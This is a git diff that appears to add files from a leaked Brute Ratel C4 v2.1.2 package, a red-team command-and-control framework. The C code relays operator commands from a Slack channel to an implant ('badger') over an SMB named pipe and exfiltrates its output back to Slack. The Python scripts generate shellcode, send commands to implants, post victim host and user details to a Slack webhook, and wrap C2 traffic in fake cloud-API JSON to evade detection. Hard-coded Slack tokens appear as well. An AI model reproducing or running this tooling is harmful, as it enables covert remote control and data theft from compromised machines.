cmdDelimiterStart); // this returns everything from the first '"text":"<@U039KRC46BS> ' to the end of the buffer + recvCommand = task_search(threadMessageStart, "\"", searchOffset); // this returns the first value between 'start$...."' to get the part buffer of the command + DWORD i = 0; + // printf("[DEBUG] task_strlen(recvCommand): %lu\n", task_strlen(recvCommand)); + // printf("[DEBUG] recvCommand: %s\n", recvCommand); + while (TRUE) { + i++; + searchOffset = searchOffset + task_strlen(cmdDelimiterStart); // get the offset to where 'start$' starts, so that we can use this to search for the next '"text":"<@U039KRC46BS> ' in memory + searchOffset = task_strstr(searchOffset, cmdDelimiterStart); // use the first search offset to further search the next offset + if (! searchOffset) { + break; + } + CHAR* partBuffer = task_search(threadMessageStart, "\"", searchOffset); // use the next search offset to further search more parts of the buffer + if (!partBuffer) { + break; + } + printf("[DEBUG] task_strlen(recvCommand): %lu\n", task_strlen(recvCommand)); + printf("[DEBUG] task_strlen(partBuffer): %lu\n", task_strlen(partBuffer)); + // printf("[DEBUG] partBuffer: %s\n", partBuffer); + DWORD newBufSize = task_strlen(recvCommand) + task_strlen(partBuffer); + DWORD copyOffsetForNewBuffer = task_strlen(recvCommand); + recvCommand = (CHAR*)realloc(recvCommand, newBufSize+1); + task_memcpy(recvCommand+copyOffsetForNewBuffer, partBuffer, task_strlen(partBuffer)); + recvCommand[newBufSize] = 0; + free(partBuffer); + } + printf("[DEBUG] Chunk count: %lu\n", i); + + if (recvCommand) { + DWORD bgrCmdLen = task_strlen(recvCommand); + bgrCmd = (CHAR*)calloc(bgrCmdLen+1, sizeof(CHAR)); + for (int i = 0, j = 0; i< bgrCmdLen; i++) { + if (recvCommand[i] != '\\') { //fix added to remove json escaping slashes + bgrCmd[j] = recvCommand[i]; + j++; + } + } + } + + DWORD bgrCmdLen = task_strlen(bgrCmd); + printf("[DEBUG] bgrCmdLen: %lu\n", bgrCmdLen); + getchar(); + + free(slackURI); + free(response); + free(recvCommand); + return bgrCmd; +} + +CHAR* badgerAppReceiveMessage() { + CHAR* deleteURI = "/api/chat.delete?channel=D03AT6A4X9T&ts="; // change the channel name (D03AT6A4X9T) to your BadgerApp Channel + CHAR* slackBadgerAppToken = "Authorization: Bearer xoxb-2144924547920-3393858142400-qEIcN8hBt0WgwRaJImILqMAj\r\n"; // change the channel token to your BadgerApp Channel token + CHAR* cmdDelimiterStart = "\"text\":\"<@U039KRC46BS> "; // Add your BadgerApp Channel's User ID - used for command extraction + CHAR* tsDelimiterStart = "\"ts\":\""; + CHAR* msgDelimiterEmd = "\""; + + CHAR* slackURI = NULL; + CHAR* response = NULL; + CHAR* bgrCmd = NULL; + CHAR* timeStamp = NULL; + + struct BADGER_REQUEST_INFO bgrReqInfo = { 0 }; + bgrReqInfo.server = "slack.com"; + bgrReqInfo.useragent = "Mozilla"; // Use a valid useragent + bgrReqInfo.uri = "/api/conversations.history?limit=1&channel=D03AT6A4X9T"; // enumerate messages - change the channel name (D03AT6A4X9T) to your BadgerApp Channel + bgrReqInfo.port = 443; + bgrReqInfo.headerList[0] = slackBadgerAppToken; + bgrReqInfo.headerCount = 1; + bgrReqInfo.postRequest = NULL; // if the message is a GET request, set the POST to NULL + + response = httpConnect(bgrReqInfo); + if (response) { + // first check if the response contains any replies. If it does, we have to send a http request again to fetch all the replies and concatenate it + CHAR* checkReply = task_strstr(response, "reply_count"); // start extracting the command from json response + // IF reply_count exists, we might need to check in a for loop every few seconds to see if reply count increases. We don't want to read up partial messages while the slack app is getting updated by the AdaptiveC2 + if (checkReply) { + CHAR* replyTimeStamp = task_search(tsDelimiterStart, msgDelimiterEmd, response); // extract the timestamp to search the thread + if (replyTimeStamp) { + bgrCmd = extractFullCommandFromReply(bgrReqInfo, replyTimeStamp); + free(replyTimeStamp); + } + } else { + CHAR* cmdStart = task_strstr(response, cmdDelimiterStart); // start extracting the command from json response + if (cmdStart) { + cmdStart = cmdStart + task_strlen(cmdDelimiterStart); + CHAR* cmdEnd = task_strstr(cmdStart, msgDelimiterEmd); + if (cmdEnd) { + int bgrCmdLen = cmdEnd - cmdStart; + bgrCmd = (CHAR*)calloc(bgrCmdLen+1, sizeof(CHAR)); + for (int i = 0, j = 0; i< bgrCmdLen; i++) { + if (cmdStart[i] != '\\') { //fix added to remove json escaping slashes + bgrCmd[j] = cmdStart[i]; + j++; + } + } + // printf("[DEBUG] BRc4 Command: '%s'\n", bgrCmd); + } + } + } + // else no commands received. Now search timestamp in the response and delete the message from the server using the timestamp + timeStamp = task_search(tsDelimiterStart, msgDelimiterEmd, response); + if (timeStamp) { + // only part of the struct (URI) is updated, coz the rest of the objects in the struct are the same + int slackURILen = task_strlen(deleteURI) + task_strlen(timeStamp); + slackURI = (CHAR*) calloc(slackURILen+1, sizeof(CHAR)); + sprintf_s(slackURI, slackURILen+1, "%s%s", deleteURI, timeStamp); + bgrReqInfo.uri = slackURI; + httpConnect(bgrReqInfo); + } + } + + free(slackURI); + free(response); + free(timeStamp); + return bgrCmd; +} + +CHAR* readFromPipe(HANDLE badgerNamedPipe) { + CHAR* pipeBuffer = NULL; + CHAR *recvbuf = (CHAR*)calloc(65535+1, sizeof(CHAR)); + DWORD offset = 0; + while (TRUE) { + DWORD retVal = 0, bytesRead = 0; + retVal = ReadFile(badgerNamedPipe, recvbuf, 65535, &bytesRead, NULL); // SMB Can read a maximum of 65535 bytes. So loop untill all buffer is received + if (!retVal || bytesRead == 0) { + if (GetLastError() != ERROR_MORE_DATA) { + ExitProcess(0); // Error from pipe + } + } + DWORD newSizeOfBuff = offset + bytesRead + 1; // old (offset) + new (bytesread) = new size of buffer + pipeBuffer = (CHAR*)realloc(pipeBuffer, newSizeOfBuff); + task_memcpy(pipeBuffer+offset, recvbuf, bytesRead); + offset = offset + bytesRead; // old (offset) + new (bytesread) = new size of buffer + pipeBuffer[offset] = 0; // Add null byte + task_memset(recvbuf, 0, 65535+1); + if (bytesRead < 65535) { + break; + } + } + free(recvbuf); + return pipeBuffer; +} + +BOOL getServerToken(HANDLE badgerNamedPipe) { + BOOL retVal = FALSE; + CHAR* lresponse = NULL; + CHAR* pipeBuffer = readFromPipe(badgerNamedPipe); // receive the badger's encrypted token + if (pipeBuffer) { + lresponse = listenerAppPostMessage(pipeBuffer, NULL); + if (lresponse && checkSuccess(lresponse)) { // check if the request was successful + while (TRUE) { // Loop until connected to slack + CHAR* bgrCmd = badgerAppReceiveMessage(); // badger's encrypted token + if (bgrCmd) { + DWORD bgrCmdLen = task_strlen(bgrCmd); + DWORD bytesWritten = 0; + retVal = WriteFile(badgerNamedPipe, bgrCmd, bgrCmdLen, &bytesWritten, NULL); + if (retVal && bgrCmdLen == bytesWritten) { + retVal = TRUE; + } + free(bgrCmd); + break; + } + } + } + } + free(lresponse); + free(pipeBuffer); + return retVal; +} + +VOID slackConnectMain(HANDLE badgerNamedPipe) { + // used as an identifier to distinguish threaded messages from full messages sent to the server as the maximum slack rate limit is 4000 chars per message + // thread messages are stored in an array on the adaptive server, till all threads are recieved + // add your own custom seperator, but make changes to the python3 script too + CHAR* threadMessageStart = "start$"; + CHAR* threadMessageEnd = "$end"; + while (TRUE) { + CHAR* response = NULL; + CHAR* pipeBuffer = readFromPipe(badgerNamedPipe); + if (pipeBuffer) { + DWORD pipeBufferLength = task_strlen(pipeBuffer); + printf("[DEBUG] Sending %lu bytes\n", pipeBufferLength); + if (pipeBufferLength > 4000) { // 4000 is the maximum limit of slack messages + CHAR* thread_ts = NULL; + CHAR sendBuffer[4000] = { 0 }; // temporary buffer to hold the firs 3950 bytes, remaining bytes are for custom threadSeperator (threadMessageStart) + for (int i = 0, j = 0; i < pipeBufferLength; i++, j++) { + if (j == 3950) { // create a buffer for 3950 buffer + 5 bytes of partmessage seperator + CHAR finalBuffer[4000] = { 0 }; // total message cannot be more than 4000 bytes + sprintf_s(finalBuffer, 4000, "%s%s", threadMessageStart, sendBuffer); // append the threadMessageStart + if (thread_ts) { + response = listenerAppPostMessage(finalBuffer, thread_ts); // if thread_ts is NULL, NULL will be sent, else the thread timestamp + } else { + response = listenerAppPostMessage(finalBuffer, NULL); + if (response) { + thread_ts = task_search("\"ts\":\"", "\"", response); // search the timestamp of the main message since part messages will be sent as replies to the main message + free(response); + response = NULL; + } + } + Sleep(1000); // slack rate limit to send message replies - 1 message per second + task_memset(sendBuffer, 0, sizeof(sendBuffer)); + j = 0; + } + sendBuffer[j] = pipeBuffer[i]; + } + if (task_strlen(sendBuffer) > 0) { // if any partial message is left to be sent, send it + if (task_strcmp(sendBuffer, threadMessageStart) != 0) { // validate the response is not just the seperator + CHAR finalBuffer[4000] = { 0 }; // total message cannot be more than 4000 bytes + sprintf_s(finalBuffer, 4000, "%s%s", threadMessageStart, sendBuffer); // append the threadMessageStart + response = listenerAppPostMessage(finalBuffer, thread_ts); // if thread_ts is NULL, NULL will be sent, else the thread timestamp. Receive the response + } + } + // send the threaded message end response + response = listenerAppPostMessage(threadMessageEnd, thread_ts); // send the final buffer (threadMessageEnd) to specify that the thread is complete + free(thread_ts); + } else { + response = listenerAppPostMessage(pipeBuffer, NULL); // Receive the response for a message that was sent in full + } + + if (response) { + DWORD bytesWritten = 0; + CHAR* bgrCmd = badgerAppReceiveMessage(); // Get the next command in queue + if (bgrCmd) { + DWORD bgrCmdLen = task_strlen(bgrCmd); + printf("[DEBUG] Sending Command of %lu bytes\n", bgrCmdLen); + if (bgrCmdLen == 0) { // if command is empty, send 1 empty byte to the SMB Pipe + bgrCmdLen = 1; + printf("[DEBUG] No Commands Received. Sending 1 empty byte\n"); + DWORD retVal = WriteFile(badgerNamedPipe, "", 1, &bytesWritten, NULL); + if (!retVal || bgrCmdLen != bytesWritten) { + free(bgrCmd); + ExitProcess(0); + } + } else { + DWORD retVal = WriteFile(badgerNamedPipe, bgrCmd, bgrCmdLen, &bytesWritten, NULL); + if (!retVal || bgrCmdLen != bytesWritten) { + free(bgrCmd); + ExitProcess(0); + } + } + free(bgrCmd); + } else { + printf("[DEBUG] No Commands Received. Sending 1 empty byte\n"); + if (! (WriteFile(badgerNamedPipe, "", 1, &bytesWritten, NULL)) ) { // if command is empty, send 1 empty byte to the SMB Pipe + ExitProcess(0); + } + } + } else { + printf("[DEBUG] Unable to connect to slack\n"); + ExitProcess(0); + } + } + free(response); + free(pipeBuffer); + Sleep(2000); // cannot have Sleep 0 as Slack has rate limits of 1 message per seconds - https://api.slack.com/docs/rate-limits + } +} + +int main() { + // execShellcode(); // Uncomment this if badger's SMB shellcode is be executed within this process + CHAR* smbPipeName = "\\\\.\\pipe\\mynamedpipe"; // named pipe for your SMB Badger + HANDLE badgerNamedPipe = connectSMB(smbPipeName); + if (! badgerNamedPipe) { + return 0; + } + if (getServerToken(badgerNamedPipe)) { // Send initial badger request and receive the authentication token from the ratel server + slackConnectMain(badgerNamedPipe); // Connect to the server for incoming commands + } + + return 0; +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adaptiveC2/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/adaptiveC2/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/adaptiveC2/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/adhoc_scripts/badgerNotifier.py b/BruteRatel-v2.1.2/adhoc_scripts/badgerNotifier.py new file mode 100644 index 0000000..ceb0db5 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/badgerNotifier.py @@ -0,0 +1,108 @@ +#!/usr/bin/python3 + +# In order for this script to run successfully, the operator needs to +# update the slackWebHook variable with their own webhook generated +# from slack. This can be generated by Creating a channel, an app and +# then enabling Incoming Webhooks within the Slack App. Once the +# webhook is enabled, it will return a URL which needs to be added in +# the slackWebHook variable below + +import sys +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import ssl +import json +import threading +import requests +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +info = """ +Brute Ratel C4 Notification Provider +Author : Paranoid Ninja +""" + +usage = """ +Usage : badgerNotifier.py slack +Eg. : badgerNotifier.py slack /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem +""" + +LHOST = "0.0.0.0" +LPORT = 8080 +slackWebHookUrl = "https://hooks.slack.com/services/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" + +class NotificationHandler(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header("Content-type", "text/html") + self.end_headers() + + def _html(self, message): + content = f"{message}" + return content.encode("utf8") + + def do_GET(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] GET request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_HEAD(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] HEAD request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_POST(self): + try: + postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0') + jdata = json.loads(postData) + # print(jdata) + if "badger" in jdata: + b_id = jdata["badger"] + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print(f"[+] {currtime} " + b_id + " checked in") + if "badger_config" in jdata: + b_uid = jdata["badger_config"]["b_uid"] + b_h_name = jdata["badger_config"]["b_h_name"] + b_p_name = jdata["badger_config"]["b_p_name"] + b_pid = jdata["badger_config"]["b_pid"] + b_winver = jdata["badger_config"]["b_wver"] + b_bld = jdata["badger_config"]["b_bld"] + finalMsg = "Badger *" + b_id + "* checked in as user *" + b_uid + "* from host *" + b_h_name + "* spawned under process *" + b_pid + "::" + b_p_name + "* on Windows " + b_winver + " Build " + b_bld + # print(finalMsg) + self._set_headers() + self.wfile.write(self._html("")) + try: + requests.post(slackWebHookUrl, json={'text':finalMsg}, verify=False, headers={'Content-type': 'application/json'}) + except Exception as ex: + print("[!] Exception:", ex) + + except Exception as ex: + print("[-] Exception:", ex) + + def log_message(self, format, *args): + return + +def main(): + print(info) + if (len(sys.argv) < 3): + print(usage) + return + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print(f"[+] {currtime} Starting Badger Notification Handler for %s => {LHOST}:{LPORT}" % sys.argv[1]) + server = HTTPServer((LHOST, LPORT), NotificationHandler) + server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[2], keyfile=sys.argv[3], server_side=True) + thread = threading.Thread(None, server.serve_forever) + thread.daemon = True + thread.start() + thread.join() + +if __name__ == "__main__": + main() diff --git a/BruteRatel-v2.1.2/adhoc_scripts/badgerRemove.py b/BruteRatel-v2.1.2/adhoc_scripts/badgerRemove.py new file mode 100644 index 0000000..fdf38db --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/badgerRemove.py @@ -0,0 +1,59 @@ +#!/usr/bin/python3 + +import ssl +import websocket +import json +import requests +import urllib3 +import threading +import base64 +import sys +import argparse +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +# Requests a rtl shellcode request. Check API docs for more information + +def readerThread(ws): + while True: + response = ws.recv() + jdata = json.loads(response) + if 'task' in jdata and 'access' in jdata : + if jdata['access'] == True: + taskID = jdata['task'] + if taskID == 59: + print("Badgers Removed:", jdata) + +def main(): + parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!') + parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='') + parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='') + parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='') + parser.add_argument('-b', type=str, required=False, help="Badger IDs to remove seperated by comma with no space", metavar='') + args = parser.parse_args() + if not args.b: + print("Error: Need Badger ID '-b' to send command to the badger") + sys.exit(0) + + user = args.u + password = args.p + server = args.s + badgerList = args.b.split(',') + print("Removing: ", badgerList) + loginData = json.dumps({'creds':{'user':user,'pass':password}}) + response = requests.post('https://'+server+'/', data=loginData, verify=False) + jdata = json.loads(response.text) + if 'token' in jdata: + cookie = jdata['token'] + print("[+] Auth Success. Cookie:", cookie) + ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE}) + ws.connect("wss://"+server) + ws.send(json.dumps({'creds': { 'token': cookie, 'user': user }, 'task':0})) + threading.Thread(target=readerThread, args=(ws,)).start() + apiRequest = json.dumps({ + 'bgr_list': badgerList, + 'task': 59 + }) + ws.send(apiRequest) + +if __name__ == "__main__": + main() diff --git a/BruteRatel-v2.1.2/adhoc_scripts/brc4api.py b/BruteRatel-v2.1.2/adhoc_scripts/brc4api.py new file mode 100644 index 0000000..997258b --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/brc4api.py @@ -0,0 +1,104 @@ +#!/usr/bin/python3 + +import ssl +import websocket +import json +import requests +import urllib3 +import threading +import base64 +import sys +import argparse +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +# Requests a rtl shellcode request. Check API docs for more information + +def readerThread(ws): + while True: + response = ws.recv() + jdata = json.loads(response) + if 'task' in jdata and 'access' in jdata : + if jdata['access'] == True: + taskID = jdata['task'] + + if taskID == 36: + savePath = jdata['save_path'] + print("[+] Received Payload. Saving to disk as", savePath) + shellcode = base64.b64decode(jdata['payload_dat']) + shellcodeLen = len(shellcode) + fileIO = open(savePath, "wb") + fileIO.write(shellcode) + fileIO.close() + print("[+] Wrote %d bytes to disk" % shellcodeLen) + sys.exit(0) + if taskID == 17: + print("Command sent successfully") + +def main(): + parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!') + parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='') + parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='') + parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='') + parser.add_argument('-g', type=str, required=False, help="Generates rtl, wait, rtl-stealth, rtl-wait shellcode", metavar='') + parser.add_argument('-c', type=str, required=False, help="Sends a command to a badger", metavar='') + parser.add_argument('-b', type=str, required=False, help="BadgerID to send a payload to", metavar='') + args = parser.parse_args() + if not args.c and not args.g: + print("Error: Need atleast '-g' or '-c") + sys.exit(0) + + if args.c: + if not args.b: + print("Error: Need Badger ID '-b' to send command to the badger") + sys.exit(0) + + user = args.u + password = args.p + server = args.s + loginData = json.dumps({'creds':{'user':user,'pass':password}}) + response = requests.post('https://'+server+'/', data=loginData, verify=False) + jdata = json.loads(response.text) + if 'token' in jdata: + cookie = jdata['token'] + print("[+] Auth Success. Cookie:", cookie) + ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE}) + ws.connect("wss://"+server) + ws.send(json.dumps({'creds': { 'token': cookie, 'user': 'admin' }, 'task':0})) + threading.Thread(target=readerThread, args=(ws,)).start() + + apiRequest = json.dumps({}) + shellcodeType = 1 + if args.g: + if args.g == "rtl": + shellcodeType = 1 + elif args.g == "wait": + shellcodeType = 2 + elif args.g == "rtl-stealth": + shellcodeType = 8 + elif args.g == "rtl-wait": + shellcodeType = 9 + else: + sys.exit(0) + + apiRequest = json.dumps({ + 'payload_arch': 1, + 'payload_config_name': 'primary-c2', + 'payload_type': shellcodeType, + 'save_path': 'badger_x64_'+args.g+'.bin', + 'svc_desc': 'NA', + 'svc_name': 'NA', + 'task': 36 + }) + else: + apiRequest = json.dumps({ + 'bgr_cmd':{ + 'badger': args.b, + 'cmd': args.c + }, + 'task':17 + }) + + ws.send(apiRequest) + +if __name__ == "__main__": + main() diff --git a/BruteRatel-v2.1.2/adhoc_scripts/genssl.sh b/BruteRatel-v2.1.2/adhoc_scripts/genssl.sh new file mode 100644 index 0000000..56ad832 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/genssl.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes diff --git a/BruteRatel-v2.1.2/adhoc_scripts/install.sh b/BruteRatel-v2.1.2/adhoc_scripts/install.sh new file mode 100644 index 0000000..bbb6ed5 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/install.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# use this script to install dependencies for the server and the client + +## server dependencies +sudo apt-get install nasm mingw-w64 + +## Uncomment this if Commander does not work +# sudo apt-get install libqt5webenginewidgets5 libqt5websockets5 diff --git a/BruteRatel-v2.1.2/adhoc_scripts/migrate.sh b/BruteRatel-v2.1.2/adhoc_scripts/migrate.sh new file mode 100644 index 0000000..444379e --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/migrate.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +# Brute Ratel versions support seamless updates between minor versions, preserving all data +# Major versions, like 1.7, 1.8, 1.9, demonstrate significant changes +# Minor versions, such as 1.7.1, 1.8.1, 1.9.1, or 1.9.2, maintain compatibility within the same major version. +# Updating from, for example, 1.9.0 to 1.9.8 doesn't result in data loss, ensuring cross-compatibility among all badgers and servers. +# Deploying badgers from minor version (eg: 1.9.0) alongside another minor version (1.9.8) server remains seamless and functional. +# This script facilitates safe updates between minor versions, ensuring preservation of badgers, logs, and downloaded data. +# Prior to execution, please adhere to the following steps. For this example, we will assume the old package is 1.9.0 and the update version is 1.9.2 + +# 1. Download 1.9.2 tar.gz package from bruteratel.com and extract/activate it +# 2. Copy this `migrate.sh` script to the 1.9.2 package +# 3. Ensure all badgers are idling (sleeping) and not actively executing any commands or sending responses during migration. +# 4. A recommended suggestion would be to synchronize all your badgers and put them to sleep for a minimum of 5 minutes, so that the badgers do not check in during the following operations +# 5. Close the Commander and allow your Server to remain idle for a minimum of 2 minutes before proceeding with the following operation. This allows time for Ratel server to autosave the latest server metadata to autosave.profile which is executed every 30 seconds +# 6. After the badgers and the server is set to idle, backup your server profile using `scratchpad` or just backup the `autosave.profile`, and then terminate the old server (1.9.0) using Ctrl+C +# 7. Navigate to the new package (1.9.2), and execute the `migrate.sh` with full path of the old package as the commandline argument. Example: ./migrate.sh /home/noob/Documents/bruteratel_1.9.0 +# 8. Make note that your current working directory should be the new package directory when you are executing the script. +# 9. Run the new package using './brute-ratel-linx64 -ratel -r autosave.profile' command. + +echo "!!! NOTE: Make sure this script is stored in the new package directory !!!" + +if [ $# -eq 0 ]; then + echo "Error: No argument provided. Please provide full path of the old package" +else + oldPackage=$1 + newPackage=`pwd` + echo "[+] Old package path: $oldPackage" + echo "[+] New package path: $newPackage" + cp -rf "$oldPackage/logs" $newPackage + cp -rf "$oldPackage/hosted" $newPackage + cp -rf "$oldPackage/downloads" $newPackage + cp -rf "$oldPackage/uploads" $newPackage + cp -rf "$oldPackage/autosave.profile" $newPackage + echo "[+] Update complete. Execute the new package with: './brute-ratel-linx64 -ratel -r autosave.profile'" +fi diff --git a/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/badger_exports.h b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/badger_exports.h new file mode 100644 index 0000000..c3b2cb7 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/badger_exports.h @@ -0,0 +1,18 @@ +#include + +void coffee(char** argv, int argc, WCHAR** dispatch); +DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...); +DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...); +DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf); +DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf); +DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ; +DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len); +DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2); +DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2); +DECLSPEC_IMPORT int BadgerAtoi(char* string); +DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length); +DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr); +DECLSPEC_IMPORT BOOL BadgerSetdebug(); +DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer); +DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...); +DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer); \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/compile_cs.bat b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/compile_cs.bat new file mode 100644 index 0000000..360ab8f --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/compile_cs.bat @@ -0,0 +1 @@ +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:modify_http.exe modify_http.cs \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/http_proxy.py b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/http_proxy.py new file mode 100644 index 0000000..9671992 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/http_proxy.py @@ -0,0 +1,148 @@ +#!/usr/bin/python3 + +import threading +import argparse +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import ssl +import sys +import requests +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +import logging + +DEBUG_LOGS = False +BRC4_LISTENER_URL = "" +BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" + +PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"" +PostRequestPrependLength = len(PostRequestPrepend) +PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}" +PostRequestAppendLength = len(PostRequestAppend) + +PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"" +PostResponsePrependLength = len(PostResponsePrepend) +PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}" +PostResponseAppendLength = len(PostResponseAppend) + +PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n" +PostEmptyResponseLength = (PostEmptyResponse) + +logging.basicConfig( + format='%(asctime)s - %(levelname)s - %(message)s', + level=logging.INFO, # Set log level to DEBUG + datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format +) + +def ModifyPostRequest(postData): + postData = postData[PostRequestPrependLength:-PostRequestAppendLength] + postData = postData.replace("$", "") + postData = PostRequestPrepend + postData + PostRequestAppend + if not DEBUG_LOGS: + print(".") + return postData + +def ModifyPostResponse(postResponse): + if (postResponse != PostEmptyResponse): + postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength] + part_size = 5 + if part_size <= 0 or part_size > len(postResponse): + return postResponse + parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)] + postResponse = "$".join(parts) + postResponse = PostResponsePrepend + postResponse + PostResponseAppend + return postResponse + + +class Stager(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header("Content-type", "application/json") + self.end_headers() + + def _html(self, message): + content = f"{message}" + return content.encode("utf8") + + def do_GET(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + logging.info("[" + currtime + "] GET request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_HEAD(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + logging.info("[" + currtime + "] HEAD request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_POST(self): + # verifying that useragent matches + if 